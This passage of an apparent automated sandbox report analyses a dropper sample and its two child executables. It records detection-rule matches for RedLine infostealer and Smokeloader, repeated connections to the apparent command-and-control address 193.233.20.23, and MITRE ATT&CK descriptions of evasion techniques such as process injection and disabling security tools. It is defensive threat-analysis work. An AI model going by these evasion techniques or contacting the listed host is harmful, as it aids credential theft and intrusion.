0000000E.00000002.440661066.00000000036BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: twl97yF91.exe, 00000001.00000002.326658615.0000000005FBA000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004EC5000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005E41000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EA2000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006060000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F1F000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.000000000601B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.000000000506B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004FDE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004F52000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F3C000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.00000000050F8000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006038000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003819000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.000000000373A000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003911000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000275B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: twl97yF91.exe, 00000001.00000002.326658615.0000000005FBA000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004EC5000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005E41000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EA2000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006060000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F1F000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.000000000601B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.000000000506B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004FDE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004F52000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F3C000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.00000000050F8000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006038000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003819000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.000000000373A000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003911000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000275B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: 1.2.twl97yF91.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.3.W7ANVukbbj.exe.4a26820.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.2f97bc6.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.2cb0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.2f96cde.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.3.W7ANVukbbj.exe.4a26820.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.4b10000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.3.twl97yF91.exe.2d50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.76c0000.6.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.4b10000.4.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.3.twl97yF91.exe.2ecf3b8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.76c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.4b10ee8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.2f97bc6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.0.uPD30tM82.exe.2b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.4b10ee8.5.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.twl97yF91.exe.2f96cde.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.3.twl97yF91.exe.2ecf3b8.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000001.00000003.256499672.0000000002D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000001.00000002.333480133.00000000076C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000001.00000002.322292427.0000000002E68000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: 1.2.twl97yF91.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.3.W7ANVukbbj.exe.4a26820.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.2f97bc6.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.2cb0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.2f96cde.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.3.W7ANVukbbj.exe.4a26820.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.4b10000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.3.twl97yF91.exe.2d50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.76c0000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.4b10000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.3.twl97yF91.exe.2ecf3b8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.76c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.4b10ee8.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.2f97bc6.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.0.uPD30tM82.exe.2b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.4b10ee8.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.twl97yF91.exe.2f96cde.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.3.twl97yF91.exe.2ecf3b8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000001.00000003.256499672.0000000002D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000001.00000002.333480133.00000000076C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000001.00000002.322292427.0000000002E68000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Code function: 0_2_00863BA2	0_2_00863BA2
Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Code function: 0_2_00865C9E	0_2_00865C9E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00408C60	1_2_00408C60
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_0040DC11	1_2_0040DC11
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00407C3F	1_2_00407C3F
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00418CCC	1_2_00418CCC
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00406CA0	1_2_00406CA0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_004028B0	1_2_004028B0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_0041A4BE	1_2_0041A4BE
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00418244	1_2_00418244
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00401650	1_2_00401650
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00402F20	1_2_00402F20
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_004193C4	1_2_004193C4
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00418788	1_2_00418788
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00402F89	1_2_00402F89
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00402B90	1_2_00402B90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_004073A0	1_2_004073A0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB2B17	1_2_02CB2B17
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB18B7	1_2_02CB18B7
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB786D	1_2_02CB786D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CC89EF	1_2_02CC89EF
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB31F0	1_2_02CB31F0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB3187	1_2_02CB3187
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB8EC7	1_2_02CB8EC7
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB7EA6	1_2_02CB7EA6
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CBDE78	1_2_02CBDE78
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB77D9	1_2_02CB77D9
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB6F07	1_2_02CB6F07
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CCA725	1_2_02CCA725
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CC8F33	1_2_02CC8F33
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CC84AB	1_2_02CC84AB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CB2DF7	1_2_02CB2DF7
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_030520B9	1_2_030520B9
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_030520C8	1_2_030520C8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_03051DAA	1_2_03051DAA
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_03051DB8	1_2_03051DB8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Code function: 14_2_0260F368	14_2_0260F368

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	ReversingLabs: Detection: 64%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	ReversingLabs: Detection: 76%

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Joe Sandbox ML: detected

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.23

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: String function: 0040E1D8 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: String function: 02CBE43F appears 44 times

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

